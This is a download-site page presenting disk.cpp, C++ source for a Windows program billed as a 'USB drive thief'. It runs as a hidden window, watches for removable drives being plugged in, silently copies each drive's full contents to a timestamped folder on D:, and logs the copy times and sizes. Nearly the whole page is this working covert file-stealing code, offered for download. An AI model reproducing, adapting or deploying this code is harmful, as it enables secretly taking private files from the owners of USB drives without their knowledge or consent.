⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 disk.cpp

📁 u盘大盗,监控并拷贝u盘的内容。平台vc
💻 CPP
字号:
#include <afx.h>
#include <dbt.h>
#include <shellapi.h>
#include <time.h>
#include "math.h"
#include <stdio.h>
#include "afxmt.h"
#include "Afxwin.h"

CString DestDirPath="D:\\";//把U盘中的文件复制到D:
CCriticalSection logfile;

LRESULT CALLBACK CallWindowProc(
								HWND hwnd,      // handle to window
								UINT uMsg,      // message identifier
								WPARAM wParam,  // first message parameter
								LPARAM lParam   // second message parameter
								);

void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver);
CString GetDirectoryName();
UINT  ProcDriver(LPVOID pParam);


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
	
	WNDCLASS wndcls;		
	wndcls.cbClsExtra = 0;	//额外分配给窗口类的字节数,系统初始化为0
	wndcls.cbWndExtra = 0;//额外分配给窗口实例的字节数,初始化为0 
	wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
	wndcls.hCursor = LoadCursor(NULL,IDC_NO);;//窗口类的光标句柄
	wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
	wndcls.hInstance = hInstance;
	wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息时调用的函数名称
	wndcls.lpszClassName = "Lijiayang";//窗口的名称
	wndcls.lpszMenuName = 0;
	wndcls.style = CS_HREDRAW | CS_VREDRAW;//定义窗口的样式
	wndcls.style &= ~WS_MINIMIZEBOX;
	
	RegisterClass(&wndcls);//根据初始化属性注册窗口类
	
	HWND hwnd;
	hwnd =  CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,
		20,20,NULL,NULL,hInstance,NULL);//创建该窗口
	
	ShowWindow(hwnd,SW_HIDE);//以隐藏方式显示当前窗口
	UpdateWindow(hwnd);//更新当前窗口
	
	MSG msg;
	while(GetMessage(&msg,NULL,0,0))
	{
		TranslateMessage(&msg);
		//PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
		DispatchMessage(&msg);
	}
	
	return 0;
}


LRESULT CALLBACK CallWindowProc(
								HWND hwnd,      // handle to window
								UINT uMsg,      // message identifier
								WPARAM wParam,  // first message parameter
								LPARAM lParam   // second message parameter
								)
{
	
	//HDC hdc;
    
	switch (uMsg)
	{
		
	case WM_CLOSE:	     //窗口关闭消息	
		DestroyWindow(hwnd);
		break;
	case WM_DESTROY:     //破坏窗口消息
		PostQuitMessage(0);  //立刻回报
		break;
	case WM_DEVICECHANGE:
		{
			switch(wParam)   
			{			
			case DBT_DEVICEARRIVAL:				
				DEV_BROADCAST_HDR *stHDR;
				stHDR = (DEV_BROADCAST_HDR *)lParam;
				switch(stHDR->dbch_devicetype)//判断设备类型
				{
				case DBT_DEVTYP_VOLUME://逻辑卷标
					GetMobileDrive();//取得可移动磁盘盘符存
					//储在strMobileDriver中
					break;
				}
				
				
				break;
				
				default:
					break;
					
			} 
			break;
		}
	default:
		return DefWindowProc(hwnd,uMsg,wParam,lParam);
	}
	return 0;
}

void GetMobileDrive()
{
	CString l_driver;
	DWORD id = GetLogicalDrives();
	for (int i = 1; i < 26; i++)
	{
		if ((id & (1 << i)) != 0)
		{
			CString l_driver = CString(char('A' + i)) + ":";
			if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
			{
				
				AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));//为每个U盘创建一个线程来进行拷贝工作
				Sleep(100);//每100ms执行一次
			}
		}
	}	
}

CString GetDirectoryName()
{
	CString direct;
	CTime t=CTime::GetCurrentTime();
	direct = t.Format("_%Y_%B_%d_%H时%M分%S秒");
	return direct;
}


UINT  ProcDriver(LPVOID pParam)
{
	CString strSourcePath="";
	clock_t start,finish;
	CString strMobileDriver="";//存储可移动磁盘盘符
	CString T_start;
	CString s;
	UINT64 i,j,sy;
	CString totalspace1,freespace1;
    ULARGE_INTEGER   FreeAv,   TotalBytes,   FreeBytes;     
	CString l_driver =(char *) pParam;
	if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))   
	{   
		totalspace1.Format("磁盘%s容量:%uM",  l_driver, TotalBytes.QuadPart/1024/1024);   
		freespace1.Format("剩余磁盘容量:%uM",   FreeBytes.QuadPart/1024/1024);   
	}
	if (!l_driver.IsEmpty() )
	{
		strSourcePath = l_driver + "\\*.*";
		start=clock();
		MyCopyFile(NULL,strSourcePath,DestDirPath,T_start,l_driver);
	}
    finish=clock();
    i=TotalBytes.QuadPart/1024/1024;
    j=FreeBytes.QuadPart/1024/1024;
    sy=i-j;
    CString usespace;
    usespace.Format("%d",sy);
	double  duration;
	CString T_finish;
	//duration = (double)( finish -  start) / CLOCKS_PER_SEC;
	logfile.Lock();
	CTime t=CTime::GetCurrentTime();
	T_finish = t.Format("_%Y_%B_%d_%H时%M分%S秒");
	FILE *out=fopen("D:\\log.txt","a");
	duration = (double)( finish -  start) / CLOCKS_PER_SEC;
	CString str_time,str_time1;
    str_time.Format("用时:%.6fs",duration); 
	s="开始时间"+T_start+"    "+"结束时间"+T_finish+"\n"+"持续"+str_time+"\n";
	s=s+totalspace1+"   "+freespace1+"   "+"文件大小:"+usespace+"M""\n";
	fputs(s,out);
    fclose(out);
	logfile.Unlock();
	return 0;
}


bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver)
{
	//取得复制到的目录名称
	SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
	SourcePath.SetAt(strlen(SourcePath)+1,0);
	CString DirName = GetDirectoryName() +p_driver.Left(1); 
	p_start=DirName ;
    //创建目录
	CreateDirectory(DestinationPath + '\\' + DirName , NULL); 
	//声明文件操作结构体FileOP,设置属性
	SHFILEOPSTRUCT FileOP;   //声明文件操作结构体
	memset((void *)&FileOP,0,sizeof(FileOP));
	FileOP.hwnd = hwnd;   //句柄
	FileOP.fFlags = FOF_SILENT ; //操作标志位
	FileOP.wFunc = FO_COPY;   //操作方式
	FileOP.pFrom = SourcePath;  //源地址
	CString str = DestinationPath + '\\' + DirName;  //目的地址
    //执行复制操作
    CString str1=str;
	str.GetBufferSetLength (strlen(str)+2);
	str.SetAt(strlen(str)+1,0);
	FileOP.pTo = str;
	FileOP.fAnyOperationsAborted = false; //是否允许中断操作
	FileOP.hNameMappings = NULL;
	FileOP.lpszProgressTitle = NULL;
	SourcePath.ReleaseBuffer();
	str.ReleaseBuffer();
	int MSG = SHFileOperation(&FileOP); //执行复制操作
	return (MSG==0);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -